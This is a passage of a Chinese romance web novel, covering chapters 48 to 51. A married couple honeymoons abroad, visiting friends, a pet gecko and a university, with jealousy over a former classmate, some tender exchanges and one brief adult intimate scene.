离开前,他们去后院看了眼兔宝宝。 兔宝宝长得很大了,两人过去就被围住,小兔子软乎乎的身体往薄淞手心钻,直到小灰兔蛮横的冲过来,撞开宝宝,独占薄淞的抚摸。 对桓柏蘅,小灰兔一直不大喜欢,也不靠近。 桓柏蘅也不在意,他也不喜欢对方,随意抓了只兔子揉两下,他始终觉得,这些软乎乎的团子没有BUNNY可爱。 薄淞跟兔子们道别,和桓柏蘅一道离开。 飞机到机场,离登机时间还有一个小时,这几个月,他们频繁的机场分别,以至于这次一起办理值机。 薄淞觉得特别不真实。 两人手后来牵在一块,在行李箱被工作人员取走后,跟随工作人员去休息室。 “您和您先生是去A国度假啊。” 工作人员还是上次那位,近距离下看见桓柏蘅,更是觉得两位十分般配,当然,出于职业素养,她不能没礼貌的盯着vip客人一直瞧。 “是。”薄淞轻呼出口气,桓柏蘅在这,称呼听起来让他有点不好意思。 好在休息室很近,没聊几句就到目的地。 桓柏蘅近些年在国外,荣市机场飞得少,因此也不知道薄淞这么有名,不止待机这会,登机时乘务员纷纷招呼,热情地过了头。 不过“般配”让他听着几分悦耳。 两人没要餐食小点,只要了两杯冷饮,薄毯子盖在腿上,薄淞调整了下姿势。 这趟旅程较长,他们要在飞机上呆十个小时。 眼罩都已经准备好。 当然这么早,他们都没有困意。 “怎么这么看我?”薄淞在把一切都调整成飞行的最佳模式后,才注意到桓柏蘅侧着身,目光紧盯过来,些许疑惑。 “和他们很熟?”桓柏蘅问。 “出差需要,我算是机场常客。”薄淞反应过来,解释。 “其他经常飞的客人,也没你熟且出名吧。” “” 薄淞隐约领会到桓柏蘅话里另一层意思,既是有点不敢相信,又有隐隐开心。 工作人员的醋,桓柏蘅也会吃吗? 脑子念头不过几秒,桓柏蘅直接肯定他的回答,“我吃醋了,在你心里我不是最重要的吗?你要证明给我看。” “怎么证明。”薄淞紧张地吞咽了一下。 桓柏蘅抬手,点了点他的唇,指腹摩挲的粗糙感受带来细小的电流,从接触的位置到全身,尤其头等舱还有其他客人,空姐时不时走动询问需求。 而他们的冷饮还未送达。 可桓柏蘅想要的无非就是 脚步声逼近他们的舱位,伴随着冰块在杯子里细微的碰撞声,敏锐的落进薄淞耳边。 他在头顶阴影压下之际,倾身,吻住了桓柏蘅双唇。 完全主动地姿态。 “您二位的饮品到了,有需要可以再喊我们。” 空姐放下饮品的手抖了下,激动地转身大步离开。 薄淞等人走后,退回位置,耳后发热,红了大片,他眼睫用力闭了下,对上桓柏蘅眼睛,无奈且纵容。 “很快我就会更有名的。” 桓柏蘅愉悦地眯起眼,“现在我感觉特别有安全感。”- 十个小时后,飞机落地A国。 A国正值春季,纬度高的缘故,气候较荣市几分湿冷,早晚温差大,薄羽绒是必备的。 两人坐往机场到酒店的车。 桓柏蘅回国没几月,A国没什么变化,他选了家入住酒店附近的餐厅,预定好位置,一会他们回酒店短暂休息后,再去用餐。 酒店定在中心区域。 桓柏蘅轻车熟路领他上去,薄淞还是准备了份A国地图,手机联网搜索桓柏蘅学校位置,离他们所在区域不远。 “你经常来这里吗?” 房卡在桓柏蘅手上,酒店很大,下电梯三个方向,桓柏蘅不需犹豫直接往右侧走,薄淞随口问了句。 “嗯。”桓柏蘅应声后,往前走了几步,回头道,“我只是单纯睡觉过夜,一个人。” “”薄淞眼神闪躲,应一声。 脚步声在地毯上显得很轻,直走过几个房间,到他们所在的门牌。 桓柏蘅刷卡进去。 房间很大,中间一张大床,然后薄淞看见,一整面透明玻璃的卫生间。 “” 他脚步顿了下,神色如常进去。 “你是要回来洗澡还是洗完澡去用餐?”桓柏蘅征求他意见。 薄淞想等回来再收拾,他们便在床头充了会电。 桓柏蘅翻出薄淞携带的地图,指出附近几个可逛的街区,两人敲定这几日行程。 “不去看BUNNY吗?” 薄淞对于行程规划没有特别要求,附近几个点都可以,只是桓柏蘅在把近几日安排后,都没有学校一日游以及BUNNY看望日,薄淞稍稍提出疑问。 之前桓柏蘅说过,带他参观学校的。 A国对于薄淞吸引力最大的,不是异国他乡人文或建筑,会被赋予特殊意义,无非是桓柏蘅在这生活过几年。 他更想要去追寻桓柏蘅生活过的痕迹。 桓柏蘅迟疑一瞬,“你不是不喜欢它吗?” 薄淞眨了眨眼。 “好吧。” 桓柏蘅重新规划一条线路,把看BUNNY的日子放到第三天。 薄淞手点了点地图里桓柏蘅所在学校。 “可以参观一下吗?” “当然。” 于是出行计划围绕桓柏蘅学校变动,附带周围几个著名旅游景点。 他们在A国主城市停留大概五天,然后会去附近城市游玩,欣赏自然风光。 旅程是值得期待的。 第49章 A国出名的是各式风格的大教堂, 两人只选取典型的代表参观,逛下来,也消磨整天时间。 他们预约游船晚餐, 欣赏夜晚城市风姿, 结束后回到酒店休息,桓柏蘅接到电话, A国朋友打来的。 薄淞洗完澡出来,他刚挂断。 “DAVID约我们吃饭。” 薄淞不知道DAVID是谁, 先点头,“可以。”才问,“什么时候?” “明晚。”桓柏蘅回答。 薄淞没意见,他擦着头发,走至床边, 拿起手机时想起, 问了句,“你朋友们知道你结婚了吗?” 桓柏蘅A国的朋友或许不清楚桓柏蘅结婚的事。 “你觉得我会瞒着?”桓柏蘅拧眉。 “不是。” 薄淞只是随口问一句而已,惹得人些许不快。 他于是过去, 吻了吻对方,桓柏蘅眉眼才松快些下来,扯过他,唇舌占据主动。 两人吻到床上。 薄淞湿漉的发在床单洇出水渍,窗帘未掩,灯光透进来,桓柏蘅浅尝辄止,手从衣衬下摆拿出去。 “不做吗?”薄淞眼睫战栗睁开。 桓柏蘅翻身,起来,“不做。” 薄淞眼底清明, 便也从床上坐起,往前倾了些身子,明目张胆观察桓柏蘅。 桓柏蘅板着张脸。 “” 薄淞不知怎的,或许很早就想这么做了,只是心意相通后才敢,他指尖在人脸颊戳了戳,然后被抓住手指,桓柏蘅垂眼,望过去,多了几丝幽怨。 “你干嘛?”语气不是很好,对于薄淞这种调戏的行为。 薄淞感受指尖被攥住时对方的体温,眨了眨眼,柔声问,“为什么不高兴?” “我有吗。”桓柏蘅不会承认。 “好吧,没有。”薄淞当然不会和他争辩,只是凑过去,再次吻了吻桓柏蘅唇角。 既然是度蜜月,他多黏一点桓柏蘅,也没关系的。 “你在国外,比国内开放?”桓柏蘅等他亲完,才咬着牙说。 薄淞难得有点破罐子破摔的无赖模样,“飞机上面子已经丢光了,无所谓。” 两人下飞机那刻,薄淞倾心新婚丈夫的的事估计早已传遍,倾心到难以自持,短暂的飞行旅途都要大胆索吻。 “而且”薄淞低声道,“很喜欢你。” “” 他最后一句,把桓柏蘅彻底哄好,薄淞像亲不够,一直亲他,弥补不够勇敢,缺失的这么多年。 他甚至没敢来A国见桓柏蘅一面。 哪怕偷偷地。 所以错失了二十二至二十四岁的桓柏蘅,永远都不可能再重来,他觉得遗憾- 两人最后点的酒店餐食。 预定的餐厅作废。 桓柏蘅抵不住薄淞过分主动,压着人做了一次,没浪费辛苦从国内带过来的计生用品。 他们在床头依偎在一块。 桓柏蘅摩挲运动完后薄淞发热的后颈,似乎闻见淡淡的香味,鼻尖嗅了下,痒的薄淞缩了缩脖子,从他怀里翻了个面。 两人视线对上。 薄淞眼底才有些求饶意思,“我还想吃饭。” “我有饿着你?”桓柏蘅唇齿间挤出的字,在薄淞无辜眨了眨眼后,自觉这话有点理亏。 好像是挺多次饿着了。 他挺郁闷。 于是伸手捂住薄淞眼睛,在人脸颊咬了口。 好香。 怎么脸也是香的。 薄淞吃痛,小小“嘶”了一声,又被桓柏蘅在咬的地方亲了亲。 心跳失常的吓人,像是心脏下秒跳出来,才被再次搂进怀里。 桓柏蘅手挪到他后腰,抱的更紧了些,耳畔呼吸很烫。 薄淞听到桓柏蘅问他,是有点郁闷的。 “你老在浏览器搜什么呢?” “” “不准的,我年纪再大点也不可能一次结束,你应该反省你自己的问题。” 桓柏蘅想到薄淞搜的,就很无语,也觉得像诅咒。 薄淞尴尬了。 “你是不是想我那方面不行?”桓柏蘅越想越愤怒。 “当然不是。”薄淞脸更红了,他怎么会那么想,只是这次安抚的吻没亲到,就被掐着腰推出怀里。面对审问。 薄淞只好说,“你要考虑我年纪大了啊。” 连着来真的很虚,而且刺激过头。 “今天是你勾引我。” “” “你没爽吗?” 薄淞高潮时会很紧,刚才环着他脖子,脚背都绷直着打颤,不像是没爽到样子,明明也喜欢的。 桓柏蘅当然会拆穿他。 列举一次次对方主动攀上的手臂,这几次他们做会摸他腹肌等等终于说到薄淞屈服,然后再轻声细语哄上半天,表示喜欢的,才总算哄好桓柏蘅。 餐食也正好到了,薄淞立刻从床上坐起,表示用餐,才总算把这件事过去- 第二天白天,他们参观当地的跳蚤市场。 薄淞喜欢精致的小玩意,迷你的香水瓶子,繁杂花纹做工精细的怀表,和一盏缀着蝴蝶的台灯。 两人享受着还价的乐趣,也像最普通蜜月夫妻,喝同一杯饮品,分享同一个巧克力圣代,在落日黄昏的建筑下拥吻。 享受亲密,享受刺激。 桓柏蘅让国外友人帮忙拍照,在地标建筑前定格美好记忆。 “回国洗出来,摆房子里。” 桓柏蘅挺满意,表示床头一张,卫生间一张,玄关一张,楼梯口一张角角落落,薄淞颇觉吓人,怕有客人来家里,会显得他们很自恋。 不过摆放照片的事可以回国再商量,他们从建筑下来,准备赴DAVID的约。 DAVID是A国人,金发碧眼,不同A国普遍帅气的短发,他留着一头半卷发,一米八多的个子,阳光帅气。 他和桓柏蘅很熟络,中文讲的也相当不错。 当然,薄淞也可以用英语和他交流。 DAVID领他们进去。 A国建筑遍地城堡式,餐厅也不例外,他们没往上层走,走的地下。 是个洞穴酒吧。 DAVID回头,对着薄淞挤了挤眼睛,用的英文,大概意思说你的丈夫是这个地方的国王。 薄淞想起郑云松说的,桓柏蘅国外玩得该是很疯。 他的眼神被桓柏蘅捕捉到,同样桓柏蘅听到David的话,冷漠的眼神扫向前头随着音乐止不住舞动的男人,很想往人脸上泼一杯。 “我没有。”桓柏蘅说。 薄淞点头,“好吧。” 酒吧里人很多,纷纷侧目,不少端着酒杯,已经有上前搭讪意思,只是迈动的脚步在桓柏蘅凑近至薄淞耳侧,旁若无人的亲昵后,才纷纷止住。 桓柏蘅说,“我很乖的。” “” 穿过这一片区域,声音自前方传来。 “柏蘅。” 中文喊的桓柏蘅名字,很标准,薄淞望过去,也就到了DAVID领着他们的目的地。 角落软沙发上,围坐的十多人,半数的中国人。 “SURPRISE.” DAVID挤挤眼睛,大笑。 桓柏蘅挺意外,在座都是关系较好的朋友,他回国后,这里部分人同样毕业,有些在A国的城市工作,没想到会在这见面。 两人入座。 桓柏蘅结婚的事早就传遍因此大家都对薄淞很好奇,中英文的恭喜以及八卦混杂着,薄淞都快应付不过来。 气氛欢乐。 “vincent原本想过来,该死的小组作业,明天就要上交报告。”李厦耸了耸肩,解释一番,“他很期待见你。” 提到vincent,话多了许多,显然对方人缘很好。 “中国男生?”薄淞主动开口问的第一句话。 全体才闭麦,气氛诡异下来。 “是的,他很可爱。”DAVID总结,笑笑,然后说,“不过他人不在,我们就不聊了,再次欢迎你来A国。” 戛然止住的话题,显然不太正常。 不过薄淞也没多问,同样笑着应了,和人碰杯。 夜深,酒吧更热闹,卡座上各自散开,和陌生的朋友贴身热舞,薄淞去卫生间,桓柏蘅和他一块。 出来时,碰上穿着热辣短裤的小男生向桓柏蘅要wechat。 薄淞脚步停了会,男生尴尬地离开,显然被拒绝。 桓柏蘅侧过身,薄淞上前。 “每次来都会有很多人加你联系方式吧?”他说,只是话语中已有明显醋意。 桓柏蘅听出来,如实道,“没加过。” “vincent可爱吗?”话题转变突然。 “你吃醋的样子最可爱。”桓柏蘅不见丝毫慌乱。 两人谁先吻过去的不知道,互换着唇齿间浓香的酒气。 异国开放的气氛,确实很能感染人,这是桓柏蘅并未开发的薄淞很多面,比如现在,像一只热辣的小野猫。 只是小野猫限时。 出了酒吧,薄淞酒醒些,又变得温和有礼,和他的朋友们说再见。 然后抓住桓柏蘅胳膊。 再问“vincent”是谁时,多了点柔软的撒娇。 一路到酒店,桓柏蘅把他扶回床上,薄淞车厢里闷了一阵,大概又有点不清醒。 桓柏蘅打电话让酒店准备醒酒的,把人带到卫生间洗澡。 脱衣服的过程,薄淞很不配合。 一有机会就亲他。 “你如果再这样,可能我又要对你做点什么了?”桓柏蘅自觉没那么好的耐力,抓住薄淞的手,让人规规矩矩抓住他衣服。 薄淞“哦”了一声,不动了。 桓柏蘅快速给他洗完,换好衣服,被湿润温烫的身体抱住,很紧。 “我也想做你学弟。” 薄淞低语着,说的醉话。 “做我学弟干嘛?” “上课,吃饭,做小组作业。” 桓柏蘅唇角弧度勾起,“想和我一起?” 薄淞闭眼,“想。”又说,“vincent可爱吗?” 这是今晚薄淞第三次提起,桓柏蘅把人推开了些在怀里,看薄淞眼睛,视线些许涣散,却又似某种执拗在其间。 “真的介意?”桓柏蘅思考了会,询问道。 薄淞不该是介意这个的人,因为薄淞能明白,不管是vincent还是ryan,英文叫什么都不好使,在他这里不会有超越朋友以外的感情。 在遇到薄淞以前,他没动过心。 可薄淞在意的不仅仅是桓柏蘅动没动心。 “他喜欢你。”薄淞强调。 桓柏蘅没否认,这不好否认,下秒他被吻住,很凶的,牙齿磕在唇上,血迹的铁锈味道蔓延,听见耳边声音。 轻声的,却又像是几分难过,和豁出去的决绝。 薄淞说,“我比他千百倍爱你。” 第50章 薄淞这次酒醉, 记忆没出任何问题,以至于清清楚楚记得跟桓柏蘅说了什么。 事后难为情。 其实对vincent情绪不至于那么大,酒精起了大半作用, 他会觉得嫉妒, 嫉妒在他连桓柏蘅面都见不到这些年,有人可以在桓柏蘅身边, 如此直白而大胆说出爱意,何尝不是对懦弱的自己的讽刺。 好在事情过去, 桓柏蘅没有提。 他们今天出门较晚,行程安排是看望BUNNY,下午顺道参观学校。 不是假期的缘故,学校附近的商店里没什么学生,桓柏蘅去了附近的异宠店, 推门进去, 店主是位四五十岁的中年大叔,抬眼见着他们,面露喜色。 “Keith” 店主大步前来。 桓柏蘅同他认识, 拥抱后聊起来。 “这离学校最近,BUNNY吃用我都会在这买,他们也提供送货服务。” 薄淞了解,注意力被店内环境吸引。 整体光线较昏暗,适应买卖的各种爬宠,薄淞先扫见右侧玻璃里各色的“同款Bunny”,趴伏在枝木上,肚子一鼓一鼓。 他们一一看过去,脚步停在中间最大的玻璃箱前,桓柏蘅面对眼前通体黄金色的一只盖勾亚, 夸它漂亮。 “You can take it back。” 薄淞:“” 最终桓柏蘅没买,只是告诉店主,我的丈夫或许有些害怕。 店主惊讶过后,恭喜他。 两人最后带着Bunny最爱的果泥离开店里。 桓柏蘅没走通往学校的大道,从商店后一条僻静的路绕进去,人流少了些,他们拐了几个方向,豁然开朗,这一片是不密集的别墅群,基本都是学生入住。 “前面那栋。” 桓柏蘅给他指了指,打电话给室友。 电话接通很快,薄淞听见是很年轻的声音,从电话里传来,记起桓柏蘅介绍过他名字,谈哲。 通话时间很短。 薄淞隔着手机听不清,只是桓柏蘅停下脚步,这会他们已经快到别墅前。 “等会吧。”他说。 薄淞不明所以,下意识往别墅看去的眼睛被捂住,听见桓柏蘅耳边说。 “A国人并不保守,他们现在有要紧的事在做。” 又补了句解释,"我走半年前谈哲交往的女朋友,公共区域禁止。" “” 两人从别墅绕开,桓柏蘅带他去前面一片野生湖,初春季节,湖水冰冷刺骨,连带着周遭温度降下来,水面仍旧有几只野鸭舒展翅膀,优雅来回游动。 薄淞用相机拍了几张。 两人沿着湖边走了三圈,总算谈哲打来电话,表示可以过去,他们绕原路回去。 别墅门口,谈哲已经在了。 “柏蘅!!!” 许久没见到的缘故,谈哲很激动,冲上前来就是一个大拥抱,桓柏蘅嫌弃往旁边让了让,也没躲开,眼里却也有了些笑意。 “想死你了。哎哟,你居然会回来,我太意外了。” 谈哲五官立体英俊,纯中国血统却又像是几分西方人模样,薄淞意外他居然比桓柏蘅小,看着不像。 “那个,柏蘅介绍过我了吧。”谈哲对薄淞不熟悉,克制许多,“你们新婚蜜月是吧?恭喜啊。” “谢谢。”薄淞微微笑道。 “先进去吧,门口聊怎么回事?”谈哲赶紧领他们进去。 院子里荒芜,一整个冬季没有打理的花园,植物全部颓败,可见生活过得相当随意,角落荒草堆里一顶帐篷立着,门帘半掩。 薄淞收回视线,不多看,过了院子。 “柏蘅结婚太突然了,我压根回不去,学校作业多的要命,气死我了。”谈哲显然同样怨念颇多,薄淞都有点好奇起到底布置什么作业,又听他接着念叨。 “说真的,我之前都以为柏蘅得一直打光棍,竟然闷声不响结婚了,薄淞,你好帅,你们太般配,哦,柏蘅,Susan刚知道这事都快疯了,你知道的,她疯狂的爱慕过你。” 薄淞对于他讲话像是念话本稍稍反应了会,才迟疑道,“Susan不是你的女朋友吗?” “没错,现在是,我人格魅力大,她已经彻底爱上我了。” “” “当然外表我也不逊色的,可能西方人喜欢精致点的,我是很认真的帅,所以柏蘅非常受欢迎,追他的男女” 话被冷冷嗓音打断,桓柏蘅实在受不了,“闭嘴。” “OK。”谈哲识时务。 三人进房子,见到了谈哲女朋友。 “HELLO。”Susan一头长卷金发,碧蓝色的眼睛,朝气十足,她的脸是标准的西方美人脸,身材高挑,穿着也格外性感,简单的吊带背心,短裤,丝毫不畏冷。 薄淞同桓柏蘅一道和susan打过招呼,谈哲搂过女友腰热情拥吻一阵,辛苦对方做早饭。 “你们吃过没?一块吃点。” 两人并未吃早餐,也就答应。 “对了,冬天原来的房间冷,我把Bunny挪到楼上去了,和我还有susan一个房间。” 薄淞听到这,想起桓柏蘅说的,谈哲女朋友很喜欢Bunny这事,该是真的喜欢,都接到卧室去了,他是接受不了,可是桓柏蘅应该也很喜欢。 薄淞犹豫着看过去,恰好桓柏蘅偏头,两人目光对上。 “怎么了?”桓柏蘅看他眼神纠结。 薄淞摇头,低声道,“你喜欢刚才那只的话,我们可以买回去。” 带活体宠物回国手续麻烦,桓柏蘅没那个耐心,只是薄淞为什么愿意带回去,显而易见。 “我喜欢就什么都能养?”他心情愉悦。 “当然。” “它们其实最爱的不是果泥,是活蟑螂。”桓柏蘅说,“蟑螂得活的,一箱子一箱子买。” “可以。”薄淞妥协,“兔子们把后院占了。” 灰兔宝宝不安分,四处乱窜,后院原先的小木屋不够它他们蹦跶,围出大片空地,很多时候从缝隙里还会挤出一两只,在院子到处霍霍。 薄淞对此是有点不好意思的,收留小灰兔,他单方面的决定,而养一堆兔宝宝,好像也没和桓柏蘅说。 所以他都养了,不能阻止桓柏蘅养喜欢的宠物。 “不养。”桓柏蘅说。 “” 两人跟着谈哲上二楼,直走左拐到底是主卧室 ,薄淞脚步停了会,桓柏蘅已经问了,“方便进去?” “这有什么不方便,哪那么多事。” 谈哲推开门,他并不介意,也表示问过susan的意见,两人才进去。 一眼,薄淞注意到了曾经在桓柏蘅视频里的看见的盖勾亚。 Bunny趴伏着,石眼珠子动来动去。 “它好像还记得你?”谈哲意外。 桓柏蘅确信Bunny记得他,伸手,Bunny像是嗅闻了一下,小心翼翼的动作,然后欢快起来如果尾巴晃动是表示高兴的话,是比之前快了点。 薄淞看着它肥胖的爪子搭上桓柏蘅手指,攀爬,一点点到整个手背。 桓柏蘅把手从保温箱拿出来,薄淞往旁边躲了下。 “” 桓柏蘅看过去。 “挺可爱的。” 薄淞尴尬蹭了蹭鼻子,前秒才说让桓柏蘅养,躲得远的又是他,主要真的有点心里压力,他不确定Bunny会不会跳跃,无法想象如果跳到他身上会是怎样的情形。 因此脚步并不想挪回去。 谈哲摸了摸Bunny脑袋,“那可不,Susan每天喂两顿果泥,比你走的时候胖了一斤多呢。” 桓柏蘅能掂出来,他确实挺想念这只小宠物,不过阻止了Bunny最爱的攀登游戏,只重新摸了下爪子后,放回保温箱里,他看向薄淞,意思不言而喻。 薄淞挪回来,隔着玻璃看。 谈哲后知后觉反应过来,问薄淞,“你怕啊?” “远看还好。”薄淞确实有点起鸡皮疙瘩,实话实说。 “好吧,它多可爱啊。”谈哲不能理解。 薄淞也没法解释。 桓柏蘅洗了手,才把薄淞拉过来,Bunny在玻璃箱里爬动,薄淞看着它爬了整整二十个来回,才终于在临走前,鼓起勇气,伸手摸了摸。 意料之外的触感。 挺软的。 不过仅此而已,他并没有多喜欢一分,只能说不枉大老远来打个招呼后。 看过Bunny,薄淞才像是随口问了句,“三楼现在有人住吗?” “没有啊,柏蘅之前住的,还有些东西呢。” 谈哲表示薄淞可以去看看观,薄淞当然不会拒绝,也是来这里的主要目的。 三楼不需要谈哲带他们参观,桓柏蘅更熟悉,谈哲下楼帮女友准备早餐。 薄淞走进桓柏蘅住了将近三年的房子,没人住缘故,地板沾了些灰尘,大件家具桓柏蘅给了谈哲,多余的也让人处理掉,显得空荡。 “三个房间,其他两个不怎么用。” 桓柏蘅领他去卧室,和谈哲相反的反向,也在走道尽头,附带个小露台。 房间里还有桓柏蘅的东西,薄淞先在右侧纸箱看见一叠纸质报告,日期,署名,组员, 是桓柏蘅不同时期的小组作业和研究报告。 角落里还有一套击剑服,落了厚厚的灰。 这些都是桓柏蘅不要的,让谈哲处理掉,对方拖延症晚期,或是嫌寒冷的冬天不利于处理废品,大概得等到夏天,才有空收拾。 于是桓柏蘅看着薄淞对着他的“破烂”翻了好一阵,没有要停下的意思,他走过去,薄淞动作才停下,意识到什么,起身。 桓柏蘅注意到,薄淞唇角抿了下。 他说,“我随便看看。” 桓柏蘅不置可否。 薄淞终于离开生灰的纸箱,开始房间里四处逛起来,总归搬得差不多,留不下多少桓柏蘅生活足迹。 可薄淞不肯放过一丝角落,最后站上阳台,眺望远处,视线里出现刚才那片野生湖,连带着湖边的树木,一并映入眸底。 四季景致不同。 桓柏蘅可能会在清晨,在午后,在某个夜深人静睡不着的夜里,站在这里。 “谈哲做好饭了。”桓柏蘅声音后侧传来,薄淞回神,听人问他,“下楼吗?” “好。”薄淞想再停一会,可没有不下楼的理由。 从踏进A国,他的心情比想象中复杂许多,而进入这座房子,更让他有种道不明的情愫,他怕在桓柏蘅面前暴露出太多不正常的情绪引起怀疑薄淞不知怎么,心里有种没来由的不好预感。 桓柏蘅若有所思打量着他。 “走吧。” 薄淞躲开他的目光,离开时却被握住胳膊。 “手。”桓柏蘅提醒。 薄淞低头看去,没明白,然后手心被桓柏蘅翻过来,连带着指腹,黑了一大片。 是刚才摸房间里的东西沾上的。 他愣住。 “你是小孩吗?什么都喜欢上手碰?“ 桓柏蘅挑眉,带他去角落洗手池,拧开水龙头。 水很凉,薄淞冻的缩了下,被攥紧,因为都是积了段时间的灰,不好清洗。 “想看的话,我让谈哲打包回国给你,你可以回家慢慢看。当然,别的你有想知道的,想了解的,关于我的过去,也都可以问我。” 桓柏蘅嗓音淡淡响起。 “薄淞,你好像比我想象中的要更喜欢我呢。” “” 50-54 第51章 Susan厨艺不错, 简易版北非蛋,烘烤过的面包,以及焦脆肉香的培根火腿, 搭配着精致的摆盘, 格外有食欲,四人都吃的挺饱。 “你们一会准备去哪?”谈哲收拾着碗筷, 问道。 “学校。”桓柏蘅说。 谈哲表示很不错,带新婚丈夫参观校园, 十分浪漫,难得桓柏蘅还有这份心思。 他送两人到门口。 “回国见。” “嗯。” 谈哲和薄淞说再见,转身回别墅。 他们沿着原先的道回去,步行离学校很近。 “他有回国打算?” 一路走,闲聊。 “嗯, 他家人都在国内。” 桓柏蘅周边朋友留在A国的少, 小部分因为父母移民的缘故,才不回国,独自留在异国他乡是需要很大勇气的。 “Susan呢?”薄淞犹豫了会, 问。 “在A国,他们谈过这个。” 薄淞明白,“挺可惜的。” 两人看起来很相爱,可还是要分开。 “异国恋很难,谁为谁妥协是个难题,日后后悔有的是埋怨,不过还有两年。” 两年,不短的时间,存在变数,时间久了, 激情褪去,是否相爱尚未可知,珍惜眼前才是最重要。 薄淞理解,可换做他,未必做的到,不如从未开始。 “你觉得两年后,他们还会在一起吗?” 话题伤感,薄淞原想跳过,却没想桓柏蘅会再问,而桓柏蘅并不像是会热衷好友八卦的人。 “不知道。”薄淞诚实道,“你觉得呢?” 桓柏蘅问了,他也能问回去,很正常,可问出口,竟然不可避免有点紧张,薄淞想,或许可以从中窥探细微桓柏蘅对待爱情的态度,因为他和桓柏蘅之间,总有一天,也会有激情褪去的时候,桓柏蘅对他的阶段目前是喜欢,有天或许能变成爱。 可爱之后呢?重新回归平淡。 他没考虑过这个问题,陷入现阶段的甜蜜,这会才隐约有新的危机感。 薄淞接受不了这个落差,宁可桓柏蘅给他不多,可能够始终平衡,不过到底内心深处,又贪婪想要无穷尽。 他知道自己对待感情的态度,偏执,极端,不理智,幼稚的不像个成年人。 “会。”桓柏蘅淡淡的嗓音拉回薄淞思绪,答案却让薄淞意外,“如果足够相爱的话,我愿意相信美好的结局。” “爱久了,容易腻吧。”薄淞说。 桓柏蘅想了想,看他,“多久?三年,五年?还是七年?” “” “你喜欢我几年会腻啊?” “”- 参观桓柏蘅的学校,是薄淞同样期待的A国旅程之一。 校园内,留学生不少,面孔亲切熟悉。 桓柏蘅毕业实在没多久,回校因此也没多少情绪波动,他先领着薄淞去看关系好的专业课教授,三十多岁的高大A国男人。 他们在办公室畅聊许久,终止于下节课堂即将开始。 薄淞和桓柏蘅同教授告别,起身离开,接着沿校园长道步行。 这所学校是A国顶尖设计师参与建造,不比旅游景点逊色,也足够大,要想短时间内逛完,可能性极低。 薄淞堪堪跟着桓柏蘅走遍商学院,已经是下午三点。 天空灰蒙蒙的,建筑在并不明亮的光线下,显出几分压抑来,这让薄淞觉得,A国是个雨天会很糟糕的地方。 “还走吗?”桓柏蘅问一句。 薄淞点头,他有想去的地方,指了指地图靠近右上角的小片区域,美术学院- 桓柏蘅想起,薄淞大学学的建筑设计,对美院感兴趣,再正常不过。 只是他并不是很熟悉,两人进去,就先迷路。 “你很少来这里吗?”薄淞问。 “来过两次。” 那是非常少了,他们随便逛着。 比起其他学院,美院随处可见学生,长椅上就不少,画纸,铅笔,简单的工具,能坐一整天,有在画建筑的,画鸟的,画行人。 薄淞被上前的学生拦住,询问是否愿意当他的画稿模特。 出于桓柏蘅眉头拧起的隐隐不悦,薄淞几乎没有犹豫的拒绝,态度温和,表示只是来学校参观,马上要离开,没有太多时间。 他说的也是实话。 学生只好气馁离开。 薄淞手背和桓柏蘅轻轻碰了下,桓柏蘅说,“你画人吗?” 很突然的问题。 薄淞不画人,摇头。 桓柏蘅像是没听到他的话,自顾自推荐,“我可以给你当模特。”他说,“□□的也可以。 薄淞无奈笑笑。 他们接着往前,是个小型展览馆,门口挂着海报,介绍展厅内容,是美院学生的作品,用做公益性的售卖。 桓柏蘅第一次逛“画展”,全当陪同薄淞一起,馆里三层,一二层是画,三层是雕塑作品,两人慢悠悠的逛过去。 薄淞脚步停在三楼主厅右侧角落的展示台,桓柏蘅顺着他目光一道停留,落在台下显示学生名字信息的标牌上。 【雕塑系,Vincent】 作品是一只鹿,被钢铁锁链禁锢的生灵,神鹿眼神中似有悲伤流露,而奔跑的双腿也略显乏力,名字下方一栏英文介绍着作品背景。 薄淞不得不承认,这是一幅很优秀的作品,当然,能被展示在这,已经证明这一事实。 “喜欢?”桓柏蘅捕捉到薄淞眼底欣赏,哪怕他看不出来,艺术这种东西,天生他就不太敏锐。 “很美。”薄淞说不出违心的话。 当然,一小部分,不明显的,想挽回在桓柏蘅心中不是那么大方的形象,他昨天只是喝多,其实不是真的非常非常非常介意。 所以,他不吝啬于夸赞。 “好吧。”桓柏蘅等他说完一长串,表示买了吧,他说,“带回国,我送你。” 薄淞:“” 桓柏蘅抬手想让负责的学生过来,下秒被抓住胳膊,按下。 “怎么?”他挑眉,“你不是喜欢吗?” “喜欢也不一定要买回去”薄淞当然知道桓柏蘅故意的,可不愿意买回去放家里,日日欣赏,“它适合被更多人看见。” 桓柏蘅戏谑地“哦”了一声,被薄淞尴尬地拉走。 最后从展览馆出来,天快黑了,他们决定找个地方吃饭,回酒店。 薄淞脚步稍稍停顿了下。 “后天我们就离开这了,你有什么想见的朋友吗?” 既然都过来了,他不希望因为自己的情绪,让桓柏蘅不能和朋友见面。 “有的。”桓柏蘅说。 薄淞唇角抿着,大方道,“你可以约一下。” 桓柏蘅得寸进尺,“能单独见吗?” “当然。” 气氛一时间沉默下来,薄淞低头瞧着地面,脚步踩的重了几分,没注意到身侧桓柏蘅意味深长的目光,他就这么重重走了一长段路,脚都被震的发麻,才注意到原本干净整洁的地面忽然有许多泥点,望向周围环境。 这条路很脏,学生们手里拎着小桶,从右侧方过来,手上,身上 “雕塑系的传统。”桓柏蘅声音耳侧响起,“低年级的学弟帮学姐学长们挖水泥。” 室外有个水泥坑,桶里确实装的水泥,而前边不远,就是雕塑系的大楼。 “出去就这一条路啊?”薄淞装作不经意问。 “两条。”桓柏蘅随意道,“你低头太专心,我就随便走了条。” 随便走,往这走? 薄淞不成熟的想法从心底升起,胸闷气短,走这里是要见谁,不是说过要单独见,明天见,今天还想见吗? 桓柏蘅是认真的,还是故意气他。 薄淞脚步不自觉加快,下意识想要快速离开这片区域,走过雕塑系大楼时,堪堪松口气,迎面拐角却走来一男生,栗色短发,烫的微卷,鼻梁架着幅工作眼镜,可也能看出底下又圆又大的眼睛,是偏可爱元气的长相。 和David口中描述的模样相符。 薄淞脑中冒出个人名,恰好男生抬头,愣住,随后眼底涌上惊喜,大步过来。 “学长。” 男生喊出声,到跟前,桓柏蘅注意力从薄淞身上挪开,看见来人,也显然几分讶异。 “好巧。”他说。 “是啊,昨天实在忙没来及参加聚会,本来以后这次没机会见到你。”男生圆框眼镜下眼睛很亮,说话时睫毛扑闪扑闪,青春活力十足。 桓柏蘅“嗯”了一声,“后天走”,望向身侧。 男生眸底一瞬黯淡,才同样看向薄淞,扬起笑脸招呼,他自我介绍,认识完,又恭贺他们新婚快乐。 “谢谢。” 